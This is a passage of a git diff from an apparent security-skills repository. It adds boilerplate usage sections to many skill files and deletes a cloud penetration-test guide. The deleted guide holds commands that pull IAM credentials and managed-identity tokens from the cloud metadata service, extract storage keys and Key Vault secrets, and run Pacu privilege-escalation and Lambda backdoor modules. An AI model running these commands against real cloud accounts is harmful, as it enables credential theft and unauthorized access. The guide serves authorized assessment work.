Score: {report['posture_score']}/100") - - with open(args.output, "w") as f: - json.dump(report, f, indent=2, default=str) - print(f"[+] Report saved to {args.output}") - - -if __name__ == "__main__": - main() diff --git a/skills/building-detection-rule-with-splunk-spl/SKILL.md b/skills/building-detection-rule-with-splunk-spl/SKILL.md index 1501370d..f5d38d6e 100644 --- a/skills/building-detection-rule-with-splunk-spl/SKILL.md +++ b/skills/building-detection-rule-with-splunk-spl/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Splunk Search Processing Language (SPL) is the primary query language used in Splunk Enterprise Security for building correlation searches that detect suspicious events and patterns. A well-crafted detection rule aggregates, correlates, and enriches security events to generate actionable notable events for SOC analysts. Enterprise SIEMs on average cover only 21% of MITRE ATT&CK techniques, making skilled SPL rule writing essential for closing detection gaps. + +## When to Use + +- When deploying or configuring building detection rule with splunk spl capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Splunk Enterprise Security (ES) deployed and configured diff --git a/skills/building-devsecops-pipeline-with-gitlab-ci/SKILL.md b/skills/building-devsecops-pipeline-with-gitlab-ci/SKILL.md index 47b0087c..aaedfe21 100644 --- a/skills/building-devsecops-pipeline-with-gitlab-ci/SKILL.md +++ b/skills/building-devsecops-pipeline-with-gitlab-ci/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 GitLab provides an integrated DevSecOps platform that embeds security testing directly into the CI/CD pipeline. By leveraging GitLab's built-in security scanners---SAST, DAST, container scanning, dependency scanning, secret detection, and license compliance---teams can shift security left, catching vulnerabilities during development rather than post-deployment. GitLab Duo AI assists with false positive detection for SAST vulnerabilities, helping security teams focus on genuine issues. + +## When to Use + +- When deploying or configuring building devsecops pipeline with gitlab ci capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - GitLab Ultimate license (required for full security scanner suite) diff --git a/skills/building-incident-timeline-with-timesketch/SKILL.md b/skills/building-incident-timeline-with-timesketch/SKILL.md index f3957d08..01f44f5c 100644 --- a/skills/building-incident-timeline-with-timesketch/SKILL.md +++ b/skills/building-incident-timeline-with-timesketch/SKILL.md @@ -15,6 +15,21 @@ license: Apache-2.0 Timesketch is an open-source collaborative forensic timeline analysis tool developed by Google that enables security teams to visualize and analyze chronological data from multiple sources during incident investigations. It ingests logs and artifacts from endpoints, servers, and cloud services, normalizes them into a unified searchable timeline, and provides powerful analysis capabilities including built-in analyzers, tagging, sketch annotations, and story building. Timesketch integrates with Plaso (log2timeline) for artifact parsing and supports direct CSV/JSONL ingestion for rapid timeline construction during active incidents. + +## When to Use + +- When deploying or configuring building incident timeline with timesketch capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with incident response concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Architecture and Components ### Core Components diff --git a/skills/building-malware-incident-communication-template/SKILL.md b/skills/building-malware-incident-communication-template/SKILL.md index be8ce3c3..774039ce 100644 --- a/skills/building-malware-incident-communication-template/SKILL.md +++ b/skills/building-malware-incident-communication-template/SKILL.md @@ -15,6 +15,21 @@ license: Apache-2.0 Effective communication during malware incidents is critical for coordinated response, stakeholder management, and regulatory compliance. A structured communication framework ensures the right people receive appropriate information at the right time, preventing panic while maintaining transparency. Communication templates should cover internal escalation, executive briefings, technical advisories for IT teams, customer notifications, regulatory disclosures, and media statements. The framework must account for different malware types (ransomware, wiper, trojan, worm) and severity levels that drive escalation speed and audience. + +## When to Use + +- When deploying or configuring building malware incident communication template capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with incident response concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Communication Framework ### Severity Classification diff --git a/skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md b/skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md index 9853a57c..acb933a8 100644 --- a/skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md +++ b/skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Havoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP/HTTPS/SMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements. + +## When to Use + +- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Ubuntu 22.04 LTS or Debian 11+ (for Teamserver) diff --git a/skills/building-soc-escalation-matrix/SKILL.md b/skills/building-soc-escalation-matrix/SKILL.md index 195c77aa..21912dc4 100644 --- a/skills/building-soc-escalation-matrix/SKILL.md +++ b/skills/building-soc-escalation-matrix/SKILL.md @@ -15,6 +15,21 @@ license: Apache-2.0 A SOC escalation matrix defines how security incidents move through the organization based on severity, impact, and response requirements. Modern SOCs use context-driven escalation combining business risk, asset criticality, and data sensitivity rather than purely severity-based models. Organizations using AI and automation in their SOC cut detection-and-containment lifecycle to approximately 161 days, an 80-day improvement over the 241-day industry average. + +## When to Use + +- When deploying or configuring building soc escalation matrix capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with soc operations concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## SOC Tier Structure ### Tier 1 - Alert Triage Analyst diff --git a/skills/building-threat-intelligence-enrichment-in-splunk/SKILL.md b/skills/building-threat-intelligence-enrichment-in-splunk/SKILL.md index 4982e72b..7ea32b12 100644 --- a/skills/building-threat-intelligence-enrichment-in-splunk/SKILL.md +++ b/skills/building-threat-intelligence-enrichment-in-splunk/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Splunk's Threat Intelligence Framework in Enterprise Security enables SOC teams to automatically correlate indicators of compromise (IOCs) against security events. The framework ingests threat feeds, normalizes indicators into KV Store collections, and uses lookup-based correlation searches to flag matching events. Splunk Threat Intelligence Management centralizes collection, normalization, and enrichment from multiple sources, reducing triage time by providing analysts with immediate context. + +## When to Use + +- When deploying or configuring building threat intelligence enrichment in splunk capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Splunk Enterprise Security (ES) 7.x or later diff --git a/skills/building-vulnerability-dashboard-with-defectdojo/SKILL.md b/skills/building-vulnerability-dashboard-with-defectdojo/SKILL.md index bd98465f..9af1d88e 100644 --- a/skills/building-vulnerability-dashboard-with-defectdojo/SKILL.md +++ b/skills/building-vulnerability-dashboard-with-defectdojo/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 DefectDojo is an open-source application vulnerability management platform that aggregates findings from 200+ security tools, deduplicates results, tracks remediation progress, and provides executive dashboards. It serves as a central hub for vulnerability management, integrating with CI/CD pipelines, Jira for ticketing, and Slack for notifications. DefectDojo supports OWASP-based categorization and provides REST API for automation. + +## When to Use + +- When deploying or configuring building vulnerability dashboard with defectdojo capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Docker and Docker Compose diff --git a/skills/building-vulnerability-exception-tracking-system/SKILL.md b/skills/building-vulnerability-exception-tracking-system/SKILL.md index 6520d3ff..72e13c5f 100644 --- a/skills/building-vulnerability-exception-tracking-system/SKILL.md +++ b/skills/building-vulnerability-exception-tracking-system/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 A vulnerability exception tracking system manages cases where vulnerabilities cannot be remediated within SLA timelines. It provides structured workflows for requesting exceptions, documenting compensating controls, obtaining risk acceptance approvals, and automatically expiring exceptions when their validity period ends. This ensures organizations maintain visibility into accepted risks while complying with frameworks like PCI DSS, SOC 2, and NIST CSF. + +## When to Use + +- When deploying or configuring building vulnerability exception tracking system capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Python 3.9+ with `flask`, `sqlalchemy`, `requests`, `jinja2` diff --git a/skills/conducting-cloud-infrastructure-penetration-test.bak/LICENSE b/skills/conducting-cloud-infrastructure-penetration-test.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/conducting-cloud-infrastructure-penetration-test.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/conducting-cloud-infrastructure-penetration-test.bak/SKILL.md b/skills/conducting-cloud-infrastructure-penetration-test.bak/SKILL.md deleted file mode 100644 index ff6e0338..00000000 --- a/skills/conducting-cloud-infrastructure-penetration-test.bak/SKILL.md +++ /dev/null @@ -1,258 +0,0 @@ ---- -name: conducting-cloud-infrastructure-penetration-test -description: Perform a cloud infrastructure penetration test across AWS, Azure, and GCP to identify IAM misconfigurations, exposed storage buckets, insecure serverless functions, and cloud-native attack paths using Pacu, ScoutSuite, and Prowler. -domain: cybersecurity -subdomain: penetration-testing -tags: [cloud-pentest, AWS, Azure, GCP, Pacu, ScoutSuite, Prowler, IAM, S3, cloud-security] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -# Conducting Cloud Infrastructure Penetration Test - -## Overview - -Cloud infrastructure penetration testing identifies security weaknesses in AWS, Azure, and GCP environments by targeting IAM policies, storage configurations, compute instances, serverless functions, network controls, and Kubernetes clusters. Cloud-specific attack vectors include over-privileged IAM roles, misconfigured storage buckets, exposed metadata services, insecure API endpoints, and lateral movement through cloud service chains. - -## Prerequisites - -- Written authorization and cloud provider notification (AWS penetration testing policy, Azure rules, GCP terms) -- Cloud credentials with read-only access (assumed breach model) or unauthenticated external testing -- Tools: Pacu (AWS), ScoutSuite, Prowler, AzureHound, GCPBucketBrute, CloudMapper -- Understanding of shared responsibility model for each provider - -## AWS Penetration Testing - -### Initial Enumeration - -```bash -# Verify caller identity -aws sts get-caller-identity - -# Enumerate IAM permissions -aws iam get-user -aws iam list-attached-user-policies --user-name testuser -aws iam list-user-policies --user-name testuser - -# Enumerate all IAM users and roles -aws iam list-users -aws iam list-roles -aws iam list-groups - -# Enumerate EC2 instances -aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,State.Name,PublicIpAddress,PrivateIpAddress]' --output table - -# Enumerate S3 buckets -aws s3 ls -aws s3 ls s3://target-bucket --recursive - -# Enumerate Lambda functions -aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role]' --output table - -# Enumerate RDS databases -aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,Engine,PubliclyAccessible]' --output table - -# Enumerate secrets -aws secretsmanager list-secrets -aws ssm describe-parameters -``` - -### Pacu Exploitation Framework - -```bash -# Install and configure Pacu -pip install pacu -pacu - -# Import AWS keys -Pacu> set_keys -Pacu> import_keys testuser - -# Run enumeration modules -Pacu> run iam__enum_permissions -Pacu> run iam__enum_users_roles_policies_groups -Pacu> run ec2__enum -Pacu> run s3__enum -Pacu> run lambda__enum - -# Privilege escalation checks -Pacu> run iam__privesc_scan - -# Exploit S3 bucket misconfigurations -Pacu> run s3__bucket_finder - -# EC2 metadata SSRF exploitation -Pacu> run ec2__metadata_services - -# Lambda backdoor (authorized testing) -Pacu> run lambda__backdoor_new_roles -``` - -### S3 Bucket Testing - -```bash -# Test for public buckets -aws s3 ls s3://target-corp-backup --no-sign-request -aws s3 cp s3://target-corp-backup/test.txt /tmp/ --no-sign-request - -# Check bucket policy -aws s3api get-bucket-policy --bucket target-corp-backup -aws s3api get-bucket-acl --bucket target-corp-backup - -# Test for ACL misconfigurations -aws s3api put-object --bucket target-corp-backup --key pentest_proof.txt \ - --body /tmp/proof.txt -``` - -### EC2 Instance Metadata Exploitation - -```bash -# From a compromised EC2 instance: -# IMDSv1 (if not disabled) -curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ -curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name - -# Extract temporary credentials -# Use them to enumerate further permissions -export AWS_ACCESS_KEY_ID= -export AWS_SECRET_ACCESS_KEY= -export AWS_SESSION_TOKEN= -aws sts get-caller-identity -``` - -## Azure Penetration Testing - -### Azure Enumeration - -```bash -# Login with test credentials -az login -u testuser@target.onmicrosoft.com -p 'Password123' - -# Enumerate subscriptions -az account list --output table - -# Enumerate resource groups -az group list --output table - -# Enumerate VMs -az vm list --output table - -# Enumerate storage accounts -az storage account list --output table - -# Enumerate App Services -az webapp list --output table - -# Enumerate Key Vaults -az keyvault list --output table - -# Enumerate Azure AD users -az ad user list --output table - -# AzureHound for attack paths (like BloodHound for Azure) -azurehound list -u testuser@target.onmicrosoft.com -p 'Password123' -o azurehound.json -``` - -### Azure-Specific Attacks - -```bash -# Enumerate Managed Identity from compromised VM -curl -H "Metadata: true" \ - "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" - -# Storage account key extraction -az storage account keys list --resource-group RG-Production --account-name targetstorageacct - -# Key Vault secret extraction -az keyvault secret list --vault-name target-keyvault -az keyvault secret show --vault-name target-keyvault --name admin-password - -# Stormspotter — Azure attack graph -python stormspotter.py --cli -``` - -## GCP Penetration Testing - -### GCP Enumeration - -```bash -# Authenticate -gcloud auth login - -# List projects -gcloud projects list - -# Enumerate compute instances -gcloud compute instances list - -# Enumerate storage buckets -gsutil ls -gsutil ls gs://target-bucket/ - -# Enumerate IAM policies -gcloud projects get-iam-policy PROJECT_ID - -# Enumerate Cloud Functions -gcloud functions list - -# Enumerate service accounts -gcloud iam service-accounts list - -# Check for public buckets -gsutil ls -L gs://target-bucket/ | grep "Access control" -``` - -## Cross-Cloud Security Assessment - -### ScoutSuite Multi-Cloud Audit - -```bash -# AWS audit -scout suite aws --profile testuser - -# Azure audit -scout suite azure --cli - -# GCP audit -scout suite gcp --user-account - -# Review results in HTML dashboard -# Focus on: IAM, storage, networking, logging findings -``` - -### Prowler (AWS CIS Benchmark) - -```bash -# Run full CIS benchmark scan -prowler aws --profile testuser - -# Run specific checks -prowler aws -c check11 check12 check13 # IAM checks -prowler aws -g s3 # S3 group -prowler aws -g forensics-ready # Logging checks - -# Export results -prowler aws -M json-ocsf -o ./prowler_results/ -``` - -## Findings Matrix - -| Finding | Cloud | Severity | Remediation | -|---------|-------|----------|-------------| -| Public S3 bucket with PII | AWS | Critical | Enable bucket policy deny public access | -| Over-privileged IAM role on Lambda | AWS | High | Implement least-privilege IAM policies | -| IMDSv1 enabled on EC2 | AWS | High | Enforce IMDSv2 across all instances | -| Storage account with public blob access | Azure | Critical | Disable anonymous blob access | -| Key Vault accessible by all users | Azure | High | Restrict Key Vault access policies | -| GCS bucket with allUsers read | GCP | Critical | Remove allUsers permission | -| Service account key exposed in repo | GCP | Critical | Rotate key, enable Workload Identity | - -## References - -- Pacu: https://github.com/RhinoSecurityLabs/pacu -- ScoutSuite: https://github.com/nccgroup/ScoutSuite -- Prowler: https://github.com/prowler-cloud/prowler -- AzureHound: https://github.com/BloodHoundAD/AzureHound -- AWS Penetration Testing Policy: https://aws.amazon.com/security/penetration-testing/ -- HackTricks Cloud: https://cloud.hacktricks.wiki/ diff --git a/skills/conducting-cloud-infrastructure-penetration-test.bak/assets/template.md b/skills/conducting-cloud-infrastructure-penetration-test.bak/assets/template.md deleted file mode 100644 index 2987b9d2..00000000 --- a/skills/conducting-cloud-infrastructure-penetration-test.bak/assets/template.md +++ /dev/null @@ -1,25 +0,0 @@ -# Cloud Infrastructure Penetration Test — Report Template - -## Document Control -| Field | Value | -|-------|-------| -| Cloud Provider(s) | AWS / Azure / GCP | -| Account/Subscription IDs | [IDs] | -| Starting Access | [Read-only IAM user / Unauthenticated] | -| Period | [Start] — [End] | - -## Executive Summary -[Cloud security posture overview, key misconfigurations, privilege escalation paths] - -## Findings -### Finding [N]: [Title] -| Attribute | Detail | -|-----------|--------| -| Provider | [AWS/Azure/GCP] | -| Resource | [ARN/Resource ID] | -| Severity | [Level] | -| Issue | [Description] | -| Remediation | [Fix] | - -## Recommendations -1. [Priority recommendations by cloud provider] diff --git a/skills/conducting-cloud-infrastructure-penetration-test.bak/references/api-reference.md b/skills/conducting-cloud-infrastructure-penetration-test.bak/references/api-reference.md deleted file mode 100644 index 254609de..00000000 --- a/skills/conducting-cloud-infrastructure-penetration-test.bak/references/api-reference.md +++ /dev/null @@ -1,47 +0,0 @@ -# Cloud Infrastructure Penetration Test — API Reference - -## Libraries - -| Library | Install | Purpose | -|---------|---------|---------| -| boto3 | `pip install boto3` | AWS SDK for Python — EC2, S3, IAM, security group enumeration | -| ScoutSuite | `pip install scoutsuite` | Multi-cloud security auditing tool | -| pacu | `pip install pacu` | AWS exploitation framework for penetration testing | - -## Key boto3 Methods - -| Method | Description | -|--------|-------------| -| `ec2.describe_security_groups()` | List all security groups with inbound/outbound rules | -| `ec2.describe_instances()` | Enumerate EC2 instances with metadata options | -| `s3.list_buckets()` | List all S3 buckets in the account | -| `s3.get_bucket_acl(Bucket=name)` | Check bucket ACL for public access grants | -| `s3.get_bucket_policy(Bucket=name)` | Retrieve bucket resource policy JSON | -| `iam.list_users()` | Enumerate all IAM users | -| `iam.list_attached_user_policies(UserName=u)` | List managed policies attached to a user | -| `iam.list_access_keys(UserName=u)` | List access keys with creation dates | -| `iam.simulate_principal_policy()` | Test effective permissions for a principal | -| `sts.get_caller_identity()` | Identify current credentials (account, ARN) | - -## ScoutSuite CLI - -```bash -scout aws --no-browser --report-dir ./report -scout azure --cli --no-browser -scout gcp --no-browser -``` - -## Key Constants - -| Constant | Value | -|----------|-------| -| IMDSv2 required | `HttpTokens: "required"` | -| Public ACL URI | `http://acs.amazonaws.com/groups/global/AllUsers` | -| Admin policy ARN | `arn:aws:iam::aws:policy/AdministratorAccess` | - -## External References - -- [AWS Penetration Testing Policy](https://aws.amazon.com/security/penetration-testing/) -- [ScoutSuite Documentation](https://github.com/nccgroup/ScoutSuite/wiki) -- [Pacu Wiki](https://github.com/RhinoSecurityLabs/pacu/wiki) -- [boto3 EC2 Reference](https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html) diff --git a/skills/conducting-cloud-infrastructure-penetration-test.bak/references/standards.md b/skills/conducting-cloud-infrastructure-penetration-test.bak/references/standards.md deleted file mode 100644 index 68636f1d..00000000 --- a/skills/conducting-cloud-infrastructure-penetration-test.bak/references/standards.md +++ /dev/null @@ -1,12 +0,0 @@ -# Standards — Cloud Infrastructure Penetration Testing - -## Cloud Provider Policies -- AWS: https://aws.amazon.com/security/penetration-testing/ -- Azure: https://learn.microsoft.com/en-us/azure/security/fundamentals/pen-testing -- GCP: https://cloud.google.com/terms/aup - -## Frameworks -- CIS Benchmarks for AWS/Azure/GCP -- NIST SP 800-144: Guidelines on Security and Privacy in Public Cloud Computing -- CSA Cloud Controls Matrix (CCM) -- MITRE ATT&CK Cloud Matrix: https://attack.mitre.org/matrices/enterprise/cloud/ diff --git a/skills/conducting-cloud-infrastructure-penetration-test.bak/references/workflows.md b/skills/conducting-cloud-infrastructure-penetration-test.bak/references/workflows.md deleted file mode 100644 index d280863e..00000000 --- a/skills/conducting-cloud-infrastructure-penetration-test.bak/references/workflows.md +++ /dev/null @@ -1,13 +0,0 @@ -# Workflows — Cloud Infrastructure Penetration Testing - -## Attack Flow -``` -Cloud Credentials / Unauthenticated - │ - ├── IAM Enumeration (permissions, roles, policies) - ├── Resource Discovery (compute, storage, serverless) - ├── Privilege Escalation (IAM chaining, role assumption) - ├── Data Access (storage buckets, databases, secrets) - ├── Lateral Movement (cross-account, cross-service) - └── Impact Demonstration (data exfiltration proof) -``` diff --git a/skills/conducting-cloud-infrastructure-penetration-test.bak/scripts/agent.py b/skills/conducting-cloud-infrastructure-penetration-test.bak/scripts/agent.py deleted file mode 100644 index 060142e9..00000000 --- a/skills/conducting-cloud-infrastructure-penetration-test.bak/scripts/agent.py +++ /dev/null @@ -1,160 +0,0 @@ -#!/usr/bin/env python3 -"""Cloud infrastructure penetration testing agent using boto3 and ScoutSuite.""" - -import json -import sys -import argparse -import subprocess -from datetime import datetime - -try: - import boto3 - from botocore.exceptions import ClientError -except ImportError: - print("Install: pip install boto3") - sys.exit(1) - - -def enumerate_public_resources(session): - """Find publicly accessible resources across AWS services.""" - findings = [] - ec2 = session.client("ec2") - for sg in ec2.describe_security_groups()["SecurityGroups"]: - for perm in sg.get("IpPermissions", []): - for ip_range in perm.get("IpRanges", []): - if ip_range.get("CidrIp") == "0.0.0.0/0": - findings.append({ - "type": "open_security_group", - "resource": sg["GroupId"], - "port": perm.get("FromPort", "all"), - "severity": "HIGH", - }) - s3 = session.client("s3") - for bucket in s3.list_buckets().get("Buckets", []): - try: - acl = s3.get_bucket_acl(Bucket=bucket["Name"]) - for grant in acl.get("Grants", []): - grantee = grant.get("Grantee", {}) - if grantee.get("URI", "").endswith("AllUsers"): - findings.append({ - "type": "public_s3_bucket", - "resource": bucket["Name"], - "permission": grant["Permission"], - "severity": "CRITICAL", - }) - except ClientError: - pass - return findings - - -def check_iam_weaknesses(session): - """Audit IAM for privilege escalation paths.""" - iam = session.client("iam") - issues = [] - for user in iam.list_users()["Users"]: - policies = iam.list_attached_user_policies(UserName=user["UserName"]) - for pol in policies["AttachedPolicies"]: - if pol["PolicyArn"].endswith("/AdministratorAccess"): - issues.append({ - "type": "admin_user", - "user": user["UserName"], - "policy": pol["PolicyName"], - "severity": "HIGH", - }) - keys = iam.list_access_keys(UserName=user["UserName"]) - for key in keys["AccessKeyMetadata"]: - if key["Status"] == "Active": - age = (datetime.utcnow() - key["CreateDate"].replace(tzinfo=None)).days - if age > 90: - issues.append({ - "type": "stale_access_key", - "user": user["UserName"], - "key_id": key["AccessKeyId"], - "age_days": age, - "severity": "MEDIUM", - }) - return issues - - -def check_metadata_service(session): - """Check EC2 instances for IMDSv1 (SSRF-exploitable metadata).""" - ec2 = session.client("ec2") - vulnerable = [] - paginator = ec2.get_paginator("describe_instances") - for page in paginator.paginate(): - for res in page["Reservations"]: - for inst in res["Instances"]: - md = inst.get("MetadataOptions", {}) - if md.get("HttpTokens") != "required": - vulnerable.append({ - "type": "imdsv1_enabled", - "instance_id": inst["InstanceId"], - "state": inst["State"]["Name"], - "severity": "HIGH", - }) - return vulnerable - - -def run_scoutsuite_scan(provider="aws"): - """Run ScoutSuite for comprehensive cloud audit.""" - cmd = ["scout", provider, "--no-browser", "--report-dir", "/tmp/scoutsuite-report"] - try: - result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) - return {"status": "completed", "output": result.stdout[-500:]} - except FileNotFoundError: - return {"status": "error", "message": "ScoutSuite not installed: pip install scoutsuite"} - except 